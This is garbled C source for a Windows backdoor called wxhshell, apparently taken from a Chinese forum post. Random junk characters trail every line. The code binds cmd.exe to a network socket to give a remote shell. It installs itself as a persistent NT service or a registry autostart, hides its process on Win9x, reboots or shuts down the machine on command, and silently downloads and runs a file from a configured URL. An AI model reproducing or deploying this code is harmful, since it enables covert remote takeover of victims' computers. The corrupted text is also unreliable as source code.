      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g) oOravV  
    break; NUltuM  
  } Z)W8Of_  
  // 安装 $!.>)n  
  case 'i': { g) u%?T  
    if(Install()) Vz/w.%_g  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 50N4J  
    else ~SQ xFAto  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :Fb>=e  
    break; ]q%r2 (y,k  
    } L/tn;0  
  // 卸载 P{n#^4  
  case 'r': { hvw9i7#  
    if(Uninstall()) OY`B{jV-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); KN|<yF   
    else }<A.zwB<i  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Cr7Zi>sd<!  
    break; ~%/Rc`  
    } !|&|%x6@  
  // 显示 wxhshell 所在路径 *tF~CG$r  
  case 'p': { wL?Up>fr  
    char svExeFile[MAX_PATH]; v&YeQC>  
    strcpy(svExeFile,"\n\r"); Bxm,?=h  
      strcat(svExeFile,ExeFile); WMa0L&C~v  
        send(wsh,svExeFile,strlen(svExeFile),0); NVv <vu  
    break; `]eJF|"  
    } w I_@  
  // 重启 QE(.w dHP  
  case 'b': { mgjJNzclL  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); b]4dmc*N+  
    if(Boot(REBOOT)) ux&"TkEp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); W%g*sc*+  
    else { I1E9E$m5\<  
    closesocket(wsh); .Az36wD  
    ExitThread(0); E?XaU~cpc  
    } ! dzgi:  
    break; c}o 6Rm50  
    } "17)`Yf  
  // 关机 pD$4nH4KST  
  case 'd': { Iy9hBAg\y  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); |q77  
    if(Boot(SHUTDOWN)) +H2Jhgi  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y7}>yC/GY  
    else { s7 "xDDV  
    closesocket(wsh); x"12$7 9=  
    ExitThread(0); :]-oo*xP  
    } V^2_]VFj  
    break; =#G 2}8mQD  
    } N*-tBz  
  // 获取shell {q0+PzgP  
  case 's': { m;OvOc,  
    CmdShell(wsh); j~ qm$'H  
    closesocket(wsh); nHm}^.B*+  
    ExitThread(0); FXof9fa_B  
    break; YJ _eE  
  } C$y6^/7)  
  // 退出 YvU%OO-+,  
  case 'x': { cJ96{+  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); =:WZV8@%  
    CloseIt(wsh); Y_'ERqQ  
    break; n N<N~  
    } t/i I!}  
  // 离开 b&z#ZY  
  case 'q': { 6Xvpk1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]<f)Rf">:`  
    closesocket(wsh); a$My6Qa#  
    WSACleanup(); bBjr hi  
    exit(1); A>@#eyB  
    break; ]ZY2\'  
        } 9jkz83/+<  
  } J6Z[c*W  
  } 2Xt4Rqk$  
u;`]U$Qq9  
  // 提示信息 QHk\Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Dl;hOHvKk  
} 7Aqg X0)  
  } Tru{8]uMH  
7*5B  
  return; \zO.#H  
} r<`:Q]  
d9f7 &  
// shell模块句柄 +K 4XMf  
int CmdShell(SOCKET sock) ]at$ohS  
{ (g##wa)L  
STARTUPINFO si; a1cX+{W  
ZeroMemory(&si,sizeof(si)); |`T(:ZKXZ2  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 7>Z|K  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ')uYI;h9  
PROCESS_INFORMATION ProcessInfo; o PSPb(.  
char cmdline[]="cmd"; |#TU"$;  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 8 1,N92T5  
  return 0; BPY7O  
} zwfft  
HXLnjXoe  
// 自身启动模式 6>vR5pn  
int StartFromService(void) FOTe, F.8  
{  >G]JwO  
typedef struct Ebnb-Lze,  
{ 7H6Ts8^S  
  DWORD ExitStatus; UUt"8]@[  
  DWORD PebBaseAddress; yZleots1  
  DWORD AffinityMask; e=sc$1|4=  
  DWORD BasePriority; mxv ?PP  
  ULONG UniqueProcessId; `0d 0T~  
  ULONG InheritedFromUniqueProcessId; jl,gqMn"V  
}   PROCESS_BASIC_INFORMATION; / ;`H )  
E)v~kC}7.  
PROCNTQSIP NtQueryInformationProcess; uF7vba$  
t 7Q$  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Y)rK'OY'  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; R3>q]  
Y 6a`{'  
  HANDLE             hProcess; MP%#)O6  
  PROCESS_BASIC_INFORMATION pbi; 'n &p5%  
`~GXK  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ?WI v4  
  if(NULL == hInst ) return 0; /vQ)$;xf#  
V}E['fzBFV  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); o0H^J,6gV  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); V._-iw]v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i fsh(^N  
GkAd"<B  
  if (!NtQueryInformationProcess) return 0; -X.#Y6(  
~;"eNg{ T  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (}A$4?  
  if(!hProcess) return 0; ` H'G"V  
]iV ]7g8:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; < 5zR-UA>  
oC&}lp)q  
  CloseHandle(hProcess); omfX2Oa2  
N*IroT3  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);  ti5fsc  
if(hProcess==NULL) return 0; aBA oSn  
e@'x7Zzh  
HMODULE hMod; 8F sQLeOE  
char procName[255]; t[|oSF#i  
unsigned long cbNeeded; NLsF6BX/-  
UF9={fN1  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M\1CDU+*Ns  
g\aO::  
  CloseHandle(hProcess); HhbBt'fH  
$(1t~u<17  
if(strstr(procName,"services")) return 1; // 以服务启动 {v"f){   
mR0`wrt  
  return 0; // 注册表启动 (j8*F Bq  
} 7K"3[.  
z teu{0  
// 主模块 ]3,'U(!+  
int StartWxhshell(LPSTR lpCmdLine) <J8c dB!e  
{ ?eJ'$  
  SOCKET wsl; *bK=<{d1P  
BOOL val=TRUE; Y>$5j}K  
  int port=0; u(9pRr L  
  struct sockaddr_in door; +)c<s3OCE  
q;K]NP-_p  
  if(wscfg.ws_autoins) Install(); @&*TGU  
R @\fqNq  
port=atoi(lpCmdLine); _S_,rTf&  
F8%^Ed~@  
if(port<=0) port=wscfg.ws_port; xF_u:}7`  
6~dAK3v5  
  WSADATA data; O"\4[HE^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ?q!4REM  
Ar%*NxX  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   M6-uTmN:d  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); [if(B\&  
  door.sin_family = AF_INET; `xM*cJTZ  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); MTYV~S4/  
  door.sin_port = htons(port); ^#5'` #t  
9SC1A-nF  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { d V%o:@Z  
closesocket(wsl);  (?Ku-k  
return 1; AbNr]w&pXC  
} -x ?Z2EA!  
$1=7^v[U  
  if(listen(wsl,2) == INVALID_SOCKET) { JuJW]E Q  
closesocket(wsl); eC/{c1C  
return 1; qO@vXuul,  
} b^R:q7ea  
  Wxhshell(wsl); fRNj *bIV  
  WSACleanup(); BB}WfA  
@3n!5XM{EE  
return 0; aT^ $'_ G  
$_JfM^w  
} 5bb#{?2i  
oyVT  
// 以NT服务方式启动 jTwSyW  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <MEm+8e/s6  
{ P$'PB*5d|  
DWORD   status = 0; TTG=7x:3  
  DWORD   specificError = 0xfffffff; CC^D4]ug  
_JC*4  
  serviceStatus.dwServiceType     = SERVICE_WIN32; s(_z1  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ?g1eW q&  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; t__f=QB/  
  serviceStatus.dwWin32ExitCode     = 0; sm##owI  
  serviceStatus.dwServiceSpecificExitCode = 0; qiOtbH=  
  serviceStatus.dwCheckPoint       = 0; Y*xgY*K  
  serviceStatus.dwWaitHint       = 0; ,DEq"VW_  
33%hZ`/>  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); b GSj?t9/  
  if (hServiceStatusHandle==0) return; wPI!i K@Ro  
J_F\cM   
status = GetLastError(); tDETRjTA  
  if (status!=NO_ERROR) PE{<' K\g  
{ 1 F:bExQ  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; +1#;s!e  
    serviceStatus.dwCheckPoint       = 0; K^x{rn.Zf  
    serviceStatus.dwWaitHint       = 0; Bc!<!  
    serviceStatus.dwWin32ExitCode     = status; D*UxPm"pw  
    serviceStatus.dwServiceSpecificExitCode = specificError; $.C\H,H  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); G;gsDn1t  
    return; @zGF9O<3,@  
  } M8lw; (  
n\9IRuYO  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; l_k:OZ  
  serviceStatus.dwCheckPoint       = 0;  XY)X-K$  
  serviceStatus.dwWaitHint       = 0; W,8Uu1X =  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); a[ ;L+  
} p#c41_?'e  
YUSrZ9Yg  
// 处理NT服务事件,比如:启动、停止 <=CABWO.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) -s HX   
{ _"*vj-{-y  
switch(fdwControl) ~_BjcY  
{ ?u CL[  
case SERVICE_CONTROL_STOP: fFEB#l!oUb  
  serviceStatus.dwWin32ExitCode = 0; [cDkmRV  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; R?{_Q<17  
  serviceStatus.dwCheckPoint   = 0; +M.BMS2A<l  
  serviceStatus.dwWaitHint     = 0; 86LE )z  
  { 5XT^K)'  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); z81dm  
  } ~F@p}u8TV  
  return; bD)"Jy  
case SERVICE_CONTROL_PAUSE: )fo0YpE^|  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; HH6n3c!:mm  
  break; E$_zBD%  
case SERVICE_CONTROL_CONTINUE: R|@~<*  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; idHI)6!  
  break; o5/BE`VD5c  
case SERVICE_CONTROL_INTERROGATE: aF/DFaiYv  
  break; m|JA }&A  
}; @GXKqi  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4SUzR\  
} t=eI*M+>h  
UZsvYy?  
// 标准应用程序主函数 }r18Y6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) IqlCl>_j  
{ [qY yr  
=XYc2. t  
// 获取操作系统版本 @?s>oSyV  
OsIsNt=GetOsVer(); xA^E+f:W_  
GetModuleFileName(NULL,ExeFile,MAX_PATH); lpPPI+|4N  
}e|cszNRd  
  // 从命令行安装 Z=$-S(>J  
  if(strpbrk(lpCmdLine,"iI")) Install(); &g}P)x r  
d@^%fVhG  
  // 下载执行文件 Xz:ha >}C  
if(wscfg.ws_downexe) { ;\|GU@K{hC  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) NxA4*_|H9  
  WinExec(wscfg.ws_filenam,SW_HIDE); v`L]dY4,  
} %J'/cmR&  
;k0Jl0[}  
if(!OsIsNt) { NHUJ:j@  
// 如果时win9x,隐藏进程并且设置为注册表启动 +<$nZ=,hsy  
HideProc(); S/*\j7cj  
StartWxhshell(lpCmdLine); @gqZiFM)  
} Rkg)yme!N  
else An}RD73!w  
  if(StartFromService()) h+Lpj^<2a  
  // 以服务方式启动 {tOf0W|  
  StartServiceCtrlDispatcher(DispatchTable); Px-VRANZt  
else 34CcZEQQ  
  // 普通方式启动 7f3,czW  
  StartWxhshell(lpCmdLine); Y(aUB$"  
PN99 R]K0g  
return 0; P3!@}!r8  
}
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只看该作者 1 发表于: 2006-10-10
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